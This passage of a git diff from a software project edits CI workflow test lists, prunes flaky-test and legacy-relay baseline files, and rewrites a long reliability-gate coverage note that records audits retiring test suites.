diff --git a/.github/workflows/layout-owner-e2e.yml b/.github/workflows/layout-owner-e2e.yml index 97655dae6fc..eca2ebce51c 100644 --- a/.github/workflows/layout-owner-e2e.yml +++ b/.github/workflows/layout-owner-e2e.yml @@ -25,7 +25,7 @@ jobs: uses: ./.github/workflows/e2e.yml with: ref: ${{ inputs.ref || github.sha }} - test_files: '["tests/e2e/workspace-layout-oracle-headless.spec.ts","tests/e2e/workspace-layout-oracle.spec.ts","tests/e2e/cli-file-open-position.spec.ts","tests/e2e/relaunch-first-terminal.spec.ts","tests/e2e/relaunch-sleeping-agents-resume-on-view.spec.ts","tests/e2e/cli-first-worktree-single-terminal.spec.ts","tests/e2e/unopened-workspace-agent-single-resume.spec.ts","tests/e2e/terminal-pane-close-layout-consistency.spec.ts","tests/e2e/golden-file-open-edit-save.spec.ts","tests/e2e/golden-source-control-open-diff.spec.ts","tests/e2e/paired-cli-terminal-graph-sync-tab-retention.spec.ts","tests/e2e/floating-workspace-pane-height.spec.ts","tests/e2e/editor-model-host-isolation.spec.ts","tests/e2e/editor-tab-selection-restore.spec.ts","tests/e2e/finished-agent-ghost-resume.spec.ts","tests/e2e/live-background-terminal-mount-authority.spec.ts","tests/e2e/workspace-back-forward-navigation.spec.ts","tests/e2e/worktree-lineage-toggle-shortcut.spec.ts","tests/e2e/local-cli-terminal-retention.spec.ts","tests/e2e/default-tabs-mark-crash-relaunch.spec.ts","tests/e2e/terminal-cli-split-closed-before-mount.spec.ts","tests/e2e/layout-stream-loss-reopen.spec.ts","tests/e2e/terminal-tab-close-restart-persistence.spec.ts","tests/e2e/artificial-opencode-terminal-load.spec.ts","tests/e2e/headless-paired-remote-terminal-retention-memory.spec.ts","tests/e2e/headless-paired-remote-terminal-reveal-grid.spec.ts","tests/e2e/headless-paired-remote-terminal-stall-recovery.spec.ts","tests/e2e/headless-paired-remote-terminal-viewer-size.spec.ts","tests/e2e/headless-serve-browser-tab-restart.spec.ts","tests/e2e/headless-serve-cli-terminal-retention-parity.spec.ts","tests/e2e/headless-serve-desktop-activation.spec.ts","tests/e2e/headless-serve-chat-tab-placement.spec.ts","tests/e2e/headless-serve-mobile-native-chat-identity.spec.ts","tests/e2e/layout-compat-old-phone-on-new-server.spec.ts","tests/e2e/layout-compat-serve-restart-keeps-at-at-terminals.spec.ts","tests/e2e/paired-mobile-serve-restart-terminal-tabs.spec.ts","tests/e2e/paired-mobile-desktop-tab-composition.spec.ts","tests/e2e/paired-remote-terminal-serve-restart-binding.spec.ts","tests/e2e/ssh-orcad-"]' + test_files: '["tests/e2e/workspace-layout-oracle-headless.spec.ts","tests/e2e/workspace-layout-oracle.spec.ts","tests/e2e/cli-file-open-position.spec.ts","tests/e2e/relaunch-first-terminal.spec.ts","tests/e2e/relaunch-sleeping-agents-resume-on-view.spec.ts","tests/e2e/cli-first-worktree-single-terminal.spec.ts","tests/e2e/unopened-workspace-agent-single-resume.spec.ts","tests/e2e/terminal-pane-close-layout-consistency.spec.ts","tests/e2e/golden-file-open-edit-save.spec.ts","tests/e2e/golden-source-control-open-diff.spec.ts","tests/e2e/paired-cli-terminal-graph-sync-tab-retention.spec.ts","tests/e2e/floating-workspace-pane-height.spec.ts","tests/e2e/editor-model-host-isolation.spec.ts","tests/e2e/editor-tab-selection-restore.spec.ts","tests/e2e/finished-agent-ghost-resume.spec.ts","tests/e2e/workspace-back-forward-navigation.spec.ts","tests/e2e/worktree-lineage-toggle-shortcut.spec.ts","tests/e2e/local-cli-terminal-retention.spec.ts","tests/e2e/default-tabs-mark-crash-relaunch.spec.ts","tests/e2e/terminal-cli-split-closed-before-mount.spec.ts","tests/e2e/layout-stream-loss-reopen.spec.ts","tests/e2e/terminal-tab-close-restart-persistence.spec.ts","tests/e2e/artificial-opencode-terminal-load.spec.ts","tests/e2e/headless-paired-remote-terminal-retention-memory.spec.ts","tests/e2e/headless-paired-remote-terminal-reveal-grid.spec.ts","tests/e2e/headless-paired-remote-terminal-stall-recovery.spec.ts","tests/e2e/headless-paired-remote-terminal-viewer-size.spec.ts","tests/e2e/headless-serve-browser-tab-restart.spec.ts","tests/e2e/headless-serve-cli-terminal-retention-parity.spec.ts","tests/e2e/headless-serve-desktop-activation.spec.ts","tests/e2e/headless-serve-chat-tab-placement.spec.ts","tests/e2e/headless-serve-mobile-native-chat-identity.spec.ts","tests/e2e/layout-compat-old-phone-on-new-server.spec.ts","tests/e2e/layout-compat-serve-restart-keeps-at-at-terminals.spec.ts","tests/e2e/paired-mobile-serve-restart-terminal-tabs.spec.ts","tests/e2e/paired-mobile-desktop-tab-composition.spec.ts","tests/e2e/paired-remote-terminal-serve-restart-binding.spec.ts","tests/e2e/ssh-orcad-"]' run_changed_e2e: true needs_build: true artifact_suffix: -layout-owner-switch-on diff --git a/.github/workflows/node-server-tests.yml b/.github/workflows/node-server-tests.yml index a5c5dc91b43..2519ba1d9d1 100644 --- a/.github/workflows/node-server-tests.yml +++ b/.github/workflows/node-server-tests.yml @@ -253,9 +253,6 @@ jobs: - name: Build the host-target desktop server template if: runner.os == 'Linux' run: node "$(if [ -f config/scripts/orcad-distribution/template/build-orcad-template.mjs ]; then printf %s config/scripts/orcad-distribution/template/build-orcad-template.mjs; else printf %s config/scripts/build-orcad-template.mjs; fi)" --targets linux-${{ runner.arch == 'ARM64' && 'arm64' || 'x64' }}-glibc - - name: Verify a structured chat from the desktop server template - if: runner.os == 'Linux' - run: pnpm test:node-server --artifact src/main/orcad/testing/structured-chat/orcad-packaged-structured-chat.integration.test.ts --maxWorkers=2 # Only a Windows runner compiles it; arm64 cross-compiles here. # Before the Node 18 check below: the build script imports TypeScript, which Node 18 cannot load. # orcad's instance lock and stop proof read a PID's creation time through it; the x64 binary this diff --git a/config/flaky-test-pattern-baseline.txt b/config/flaky-test-pattern-baseline.txt index 013231c9704..5da16ccd808 100644 --- a/config/flaky-test-pattern-baseline.txt +++ b/config/flaky-test-pattern-baseline.txt @@ -30,7 +30,6 @@ 1 test-no-polling-loop:src/main/pty/process-retirement/posix-pty-process-groups.integration.test.ts 1 test-no-polling-loop:src/main/pty/process-retirement/windows-live-tree-kill.win32.test.ts 1 test-no-polling-loop:src/main/runtime/orchestration/mailbox/terminal-pointer/orchestration-codex-real-pty.integration.test.ts -1 test-no-polling-loop:src/main/runtime/rpc/server/remote-runtime-request-connection.integration.test.ts 3 test-no-polling-loop:src/main/skills/install/skill-bundle-process-termination.integration.test.ts 2 test-no-polling-loop:src/main/skills/runtime-upload/skill-upload-process-restart.integration.test.ts 1 test-no-polling-loop:src/main/ssh/connection/ssh-connection-host-key-store-wiring.test.ts @@ -153,7 +152,6 @@ 5 test-no-real-time-wait:src/main/pty/process-retirement/windows-live-tree-kill.win32.test.ts 1 test-no-real-time-wait:src/main/runtime/agent-session/structured-agent-session-legacy-send-behind-command.test.ts 3 test-no-real-time-wait:src/main/runtime/orchestration/mailbox/terminal-pointer/orchestration-codex-real-pty.integration.test.ts -1 test-no-real-time-wait:src/main/runtime/rpc/server/remote-runtime-request-connection.integration.test.ts 1 test-no-real-time-wait:src/main/runtime/rpc/terminal/terminal-subscribe-mounted-pane.test.ts 1 test-no-real-time-wait:src/main/runtime/terminal/wait/launched-agent-crash-guard.live-shell.test.ts 1 test-no-real-time-wait:src/main/runtime/terminal/wait/launched-agent-shell-handoff-readiness.test.ts @@ -244,7 +242,6 @@ 1 test-no-real-time-wait:tests/e2e/large-markdown-preview.spec.ts 1 test-no-real-time-wait:tests/e2e/layout-stream-loss-reopen.spec.ts 1 test-no-real-time-wait:tests/e2e/markdown-table-row-backspace.spec.ts -1 test-no-real-time-wait:tests/e2e/native-chat-history-prepend-anchor.spec.ts 3 test-no-real-time-wait:tests/e2e/notification-sound-replay.spec.ts 4 test-no-real-time-wait:tests/e2e/orchestration-idle-mail-delivery.spec.ts 1 test-no-real-time-wait:tests/e2e/orchestration-idle-mail-restore.spec.ts @@ -276,10 +273,8 @@ 2 test-no-real-time-wait:tests/e2e/sidebar-desktop-reads-main.spec.ts 1 test-no-real-time-wait:tests/e2e/sidebar-unread-older-paired-host.spec.ts 2 test-no-real-time-wait:tests/e2e/slept-workspace-remount-wake.spec.ts -1 test-no-real-time-wait:tests/e2e/ssh-orcad-explorer-selected-host.spec.ts 1 test-no-real-time-wait:tests/e2e/ssh-orcad-idle-exit.spec.ts 1 test-no-real-time-wait:tests/e2e/ssh-orcad-pairing-repair.spec.ts -1 test-no-real-time-wait:tests/e2e/ssh-orcad-relay-tab-only-shell.spec.ts 1 test-no-real-time-wait:tests/e2e/ssh-orcad-sleep-disconnected.spec.ts 1 test-no-real-time-wait:tests/e2e/ssh-orcad-terminal-network-outage.spec.ts 1 test-no-real-time-wait:tests/e2e/ssh-orcad-terminal-reconnect-idle-frame.spec.ts @@ -391,6 +386,7 @@ 1 test-no-wall-clock:src/main/orcad/instance-lock/orcad-stale-lock-reclaim.test.ts 3 test-no-wall-clock:src/main/orcad/host-lifecycle/managed-stop/orcad-stop-request-shutdown.integration.test.ts 1 test-no-wall-clock:src/main/persistence/closed-terminal-tab-write-fence.test.ts +4 test-no-wall-clock:src/main/persistence/persistence-flush-and-save-scheduling.test.ts 1 test-no-wall-clock:src/main/persistence/profile-state/backup/profile-state-backup-rotation.test.ts 1 test-no-wall-clock:src/main/persistence/profile-state/recovery/profile-state-section-repair.test.ts 2 test-no-wall-clock:src/main/persistence/tracking-repos/persistence-deregistered-repo-residue.test.ts @@ -413,11 +409,9 @@ 1 test-no-wall-clock:src/main/runtime/rpc/methods/orchestration/federation/federation-output.test.ts 2 test-no-wall-clock:src/main/runtime/rpc/methods/orchestration/worker/observation/fleet-status-observed-identity.test.ts 1 test-no-wall-clock:src/main/runtime/rpc/methods/orchestration/worker/output/worker-output.test.ts -2 test-no-wall-clock:src/main/runtime/rpc/server/remote-runtime-request-connection.integration.test.ts 2 test-no-wall-clock:src/main/runtime/rpc/server/runtime-rpc-pairing-mode-persistence.test.ts 6 test-no-wall-clock:src/main/runtime/rpc/server/runtime-rpc-relay-pairing.test.ts 1 test-no-wall-clock:src/main/runtime/session-construction/agent-session/orca-runtime-agent-session-operation.test.ts -1 test-no-wall-clock:src/main/runtime/session-construction/agent-session/remote-agent-session-host-authority.integration.test.ts 1 test-no-wall-clock:src/main/runtime/terminal/adoption/terminal-subscriber-driven-daemon-attach.test.ts 1 test-no-wall-clock:src/main/runtime/terminal/layout/mobile-subscribe-idle-pane-hydrate.test.ts 23 test-no-wall-clock:src/main/runtime/terminal/output/terminal-query-responder.test.ts @@ -447,7 +441,6 @@ 3 test-no-wall-clock:src/main/wsl/orcad/wsl-orcad-real-distro-lane.test.ts 1 test-no-wall-clock:src/renderer/src/components/activity/activity-auto-mark-read-loop.react185.test.tsx 1 test-no-wall-clock:src/renderer/src/components/browser-pane/assemble-chrome/browser-workspace-pane.adoption-chrome.test.tsx -1 test-no-wall-clock:src/renderer/src/components/sidebar/worktree-list/listing/WorktreeList.lineage-agent-expansion-coupling.test.tsx 2 test-no-wall-clock:src/renderer/src/components/terminal-pane/pty-connection/emulation/fish-color-scheme-child-stdin.node-pty.test.ts 2 test-no-wall-clock:src/renderer/src/components/terminal-pane/snapshots/remote-snapshot-alt-screen-host-chain.test.ts 1 test-no-wall-clock:src/renderer/src/components/terminal/initial-terminal-structured-launch.test.tsx @@ -511,7 +504,6 @@ 1 test-timeout-needs-reason:src/main/notebook/notebook-kernel.test.ts 1 test-timeout-needs-reason:src/main/orcad/native-runtime/orcad-bundle-native-load-order.test.ts 1 test-timeout-needs-reason:src/main/orcad/native-runtime/orcad-packaged-node-pty.integration.test.ts -1 test-timeout-needs-reason:src/main/orcad/testing/structured-chat/orcad-packaged-structured-chat.integration.test.ts 1 test-timeout-needs-reason:src/main/orcad/testing/serve-lifecycle/orcad-serve-parity.integration.test.ts 1 test-timeout-needs-reason:src/main/orcad/host-lifecycle/managed-stop/orcad-stop-request-shutdown.integration.test.ts 1 test-timeout-needs-reason:src/main/orcad/native-runtime/orcad-windows-conpty-breakaway.integration.test.ts @@ -519,8 +511,6 @@ 5 test-timeout-needs-reason:src/main/pty/process-retirement/node-pty-master-fd-retirement.test.ts 1 test-timeout-needs-reason:src/main/runtime/mobile-cloud-relay/testing/mobile-relay-e2ee.integration.test.ts 1 test-timeout-needs-reason:src/main/runtime/rpc/server/orchestration-cli-subprocess.test.ts -2 test-timeout-needs-reason:src/main/runtime/rpc/server/remote-runtime-request-connection.integration.test.ts -1 test-timeout-needs-reason:src/main/runtime/session-construction/agent-session/remote-agent-session-host-authority.integration.test.ts 1 test-timeout-needs-reason:src/main/runtime/terminal/launch/qoder-mobile-resume-adoption.test.ts 2 test-timeout-needs-reason:src/main/runtime/terminal/wait/launched-agent-crash-guard.live-shell.test.ts 2 test-timeout-needs-reason:src/main/runtime/terminal/wait/terminal-interactive-wait-visibility.test.ts @@ -629,7 +619,6 @@ 1 test-timeout-needs-reason:tests/e2e/paired-pane-title-desktop-host.spec.ts 1 test-timeout-needs-reason:tests/e2e/paired-preview-address-bar-convergence.spec.ts 1 test-timeout-needs-reason:tests/e2e/paired-remote-browser-ghost-subscriber-rejoin.spec.ts -1 test-timeout-needs-reason:tests/e2e/paired-remote-browser-link-open-routing.spec.ts 2 test-timeout-needs-reason:tests/e2e/paired-remote-browser-stream-reconnect.spec.ts 3 test-timeout-needs-reason:tests/e2e/paired-remote-html-preview-local-render.spec.ts 1 test-timeout-needs-reason:tests/e2e/paired-remote-large-file-open.spec.ts @@ -682,24 +671,17 @@ 2 test-timeout-needs-reason:tests/e2e/sidebar-unread-older-paired-host.spec.ts 1 test-timeout-needs-reason:tests/e2e/sidebar-workspace-rows.spec.ts 1 test-timeout-needs-reason:tests/e2e/source-control-large-file-count.spec.ts -1 test-timeout-needs-reason:tests/e2e/ssh-orcad-browser-drop-owner.spec.ts -1 test-timeout-needs-reason:tests/e2e/ssh-orcad-browser-routing.spec.ts 1 test-timeout-needs-reason:tests/e2e/ssh-orcad-browser-service-status.spec.ts 1 test-timeout-needs-reason:tests/e2e/ssh-orcad-desktop-browser-bridge.spec.ts 1 test-timeout-needs-reason:tests/e2e/ssh-orcad-editor-drafts-migration.spec.ts 1 test-timeout-needs-reason:tests/e2e/ssh-orcad-editor-ownership.spec.ts 1 test-timeout-needs-reason:tests/e2e/ssh-orcad-editor-watch-recovery.spec.ts -1 test-timeout-needs-reason:tests/e2e/ssh-orcad-explorer-selected-host.spec.ts 1 test-timeout-needs-reason:tests/e2e/ssh-orcad-explorer-watch-recovery.spec.ts 4 test-timeout-needs-reason:tests/e2e/ssh-orcad-idle-exit.spec.ts -1 test-timeout-needs-reason:tests/e2e/ssh-orcad-legacy-relay-bridge.spec.ts 1 test-timeout-needs-reason:tests/e2e/ssh-orcad-markdown-conversion.spec.ts 1 test-timeout-needs-reason:tests/e2e/ssh-orcad-markdown-link-refresh.spec.ts 1 test-timeout-needs-reason:tests/e2e/ssh-orcad-markdown-live-documents.spec.ts -1 test-timeout-needs-reason:tests/e2e/ssh-orcad-open-in-owner.spec.ts 3 test-timeout-needs-reason:tests/e2e/ssh-orcad-pairing-repair.spec.ts -1 test-timeout-needs-reason:tests/e2e/ssh-orcad-phone-feed-list.spec.ts -1 test-timeout-needs-reason:tests/e2e/ssh-orcad-relay-tab-only-shell.spec.ts 1 test-timeout-needs-reason:tests/e2e/ssh-orcad-shared-home-machines.spec.ts 1 test-timeout-needs-reason:tests/e2e/ssh-orcad-shared-login-migration.spec.ts 1 test-timeout-needs-reason:tests/e2e/ssh-orcad-sleep-disconnected.spec.ts @@ -731,5 +713,4 @@ 1 test-timeout-needs-reason:tests/e2e/windows-wsl-terminal-restore.spec.ts 1 test-timeout-needs-reason:tests/e2e/workspace-layout-oracle-headless.spec.ts 1 test-timeout-needs-reason:tests/e2e/workspace-session-corrupt-tab-salvage.spec.ts -2 test-timeout-needs-reason:tests/e2e/worktree-reveal-host-sections.spec.ts 2 test-timeout-needs-reason:tests/e2e/wsl-host-fake-transport.spec.ts diff --git a/config/legacy-relay-compat-tags-baseline.txt b/config/legacy-relay-compat-tags-baseline.txt index e9370b67706..ea9050da996 100644 --- a/config/legacy-relay-compat-tags-baseline.txt +++ b/config/legacy-relay-compat-tags-baseline.txt @@ -10,7 +10,6 @@ src/main/ipc/ssh/ssh-session-teardown.ts src/main/ipc/ssh/ssh.ts src/main/runtime/orchestration/terminal-authority/verify-orchestration-compatibility-caller.ts src/main/runtime/orchestration/terminal-authority/orchestration-compatibility-authority.ts -src/main/managed-server/migration/cutover/orcad-migration-delta-move.test.ts src/main/managed-server/migration/cutover/orcad-migration-delta-move.ts src/main/ssh/migration-source/orcad-migration-terminal-gate.ts src/main/ssh/host-server/ssh-host-server-on-connect.ts @@ -32,5 +31,3 @@ tests/e2e/cross-version-wire/released-relay-transport.ts tests/e2e/helpers/build-released-relay-bundle.mts tests/e2e/helpers/legacy-relay-docker-host.ts tests/e2e/helpers/orcad-upgrade-profile.ts -tests/e2e/ssh-orcad-legacy-relay-bridge.spec.ts -tests/e2e/ssh-orcad-relay-tab-only-shell.spec.ts diff --git a/config/reliability-gates.jsonc b/config/reliability-gates.jsonc index 414c41338ce..e68dc6b041a 100644 --- a/config/reliability-gates.jsonc +++ b/config/reliability-gates.jsonc @@ -3579,7 +3579,7 @@ "providers": ["local", "daemon", "ssh", "paired-runtime"], "coveredPlatforms": ["macos"], "coveredProviders": ["local", "daemon", "paired-runtime"], - "coverageNotes": "Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit5736 removes whole runtime/SSH IPC test suites from active selectors, accepting fake-window frame/contract/VM/upload cancellation and fake-transport SSH state/forward ownership alarms without equivalent replacement or fresh execution. Remaining dated evidence keeps its exact independent selector scope. Historical prior account (preserved verbatim): Audit5644 integrates source audit5640: retire the whole renderer sync-runtime-graph-payload-partition suite and its active command/testFiles selectors. Intentionally lose failed graph publication acknowledgement/memo retry of changed worktree payloads and unchanged worktree resync self-republication alarms. Remaining main/E2E selectors retain only their own scope; no equivalent replacement, fresh execution, platform or remote evidence is claimed. Complete original selectors are preserved in knownGaps. Historical prior account (preserved verbatim): Audit5594 removes the entire src/main/window/renderer-relays/runtime-renderer-notification-sender.test.ts suite and its active selectors. Intentionally lose disposed-frame containment, reload/cancel resume and closed-sender refusal alarms without equivalent replacement or fresh gate evidence. Historical prior account follows: Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit3994 retires two authored callbacks imported by the shared construction test driver: split OSC 9999 carry and rendererless status ownership, plus OpenCode permission text taking priority in status and tui-idle refusal. Remaining imports and selectors keep their scope. No equivalent replacement or fresh gate execution is claimed. Audit3417 composes root-adopted3415v2/independent3416v2: intentionally removes117authored/173potential expanded registrations from12semantic sources, deleting4whole conventional suites and3registration modules and retaining4authored/5expanded cases, without equivalent replacement or fresh execution. The whole main-window attach-services suite is removed: runtime/window attach, notifier wiring, reload/teardown and permission-handler mock orchestration alarms are intentionally lost. Prune its exact deleted command selectors, testFiles entries and notifier assertionRef where present; complete prior selectors/ref are archived. Unrelated dated receipts remain exact and retain their original scope; no fresh reduced-selector, native-window or remote execution is claimed. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit1640 removes low-value IPC, SSH, workspace and transcript-watcher tests without equivalent replacement coverage. Per-source reviews record retained public refusal, cancellation, execution-host and real-filesystem outcomes with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Deterministic lifecycle, IPC, window-notification, and runtime ownership tests cover generation replacement, stale callbacks, same-frame old-document publication, blocked external navigation, cancelled renderer navigation, concurrent provisional starts, process loss, timeout cleanup, headless fallback, and competing windows. Isolated macOS Electron validation covers cancelled navigation, forced renderer recovery, and headless serve promotion with live daemon-backed PTY identity and I/O. Linux, Windows, WSL, SSH promotion, and mixed-version desktop/server live runs remain uncollected; the renderer generation stays local to Electron IPC and does not change the remote wire. The renderer scheduling fixture now retains in-flight coalescing only, and payload partitioning retains publication-failure and main-dropped-worktree retry. Immediate publication, stale SSH cleanup, reconnect resync and isolated partition membership alarms were removed; other lifecycle evidence does not establish equivalent coverage. Audit1312 removes low-value imported specs from aggregate test drivers; old whole-driver execution receipts are archived. Retained registrations are unchanged. No equivalent replacement coverage is claimed. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1400: src/renderer/src/runtime/sync-runtime-graph-scheduling.test.ts removed. Removes whole coalescing call-count suite; no newest-state delivery or replacement claim. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result.\nWindow folder cleanup retires the mock-call-only navigation fence suite and the per-generation warning-count case. Retained sender results and existing rendered checks keep their own original scope; no equivalent replacement or fresh execution is claimed here.", + "coverageNotes": "Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit5736 removes whole runtime/SSH IPC test suites from active selectors, accepting fake-window frame/contract/VM/upload cancellation and fake-transport SSH state/forward ownership alarms without equivalent replacement or fresh execution. Remaining dated evidence keeps its exact independent selector scope. Historical prior account (preserved verbatim): Audit5644 integrates source audit5640: retire the whole renderer sync-runtime-graph-payload-partition suite and its active command/testFiles selectors. Intentionally lose failed graph publication acknowledgement/memo retry of changed worktree payloads and unchanged worktree resync self-republication alarms. Remaining main/E2E selectors retain only their own scope; no equivalent replacement, fresh execution, platform or remote evidence is claimed. Complete original selectors are preserved in knownGaps. Historical prior account (preserved verbatim): Audit5594 removes the entire src/main/window/renderer-relays/runtime-renderer-notification-sender.test.ts suite and its active selectors. Intentionally lose disposed-frame containment, reload/cancel resume and closed-sender refusal alarms without equivalent replacement or fresh gate evidence. Historical prior account follows: Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit3994 retires two authored callbacks imported by the shared construction test driver: split OSC 9999 carry and rendererless status ownership, plus OpenCode permission text taking priority in status and tui-idle refusal. Remaining imports and selectors keep their scope. No equivalent replacement or fresh gate execution is claimed. Audit3417 composes root-adopted3415v2/independent3416v2: intentionally removes117authored/173potential expanded registrations from12semantic sources, deleting4whole conventional suites and3registration modules and retaining4authored/5expanded cases, without equivalent replacement or fresh execution. The whole main-window attach-services suite is removed: runtime/window attach, notifier wiring, reload/teardown and permission-handler mock orchestration alarms are intentionally lost. Prune its exact deleted command selectors, testFiles entries and notifier assertionRef where present; complete prior selectors/ref are archived. Unrelated dated receipts remain exact and retain their original scope; no fresh reduced-selector, native-window or remote execution is claimed. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts 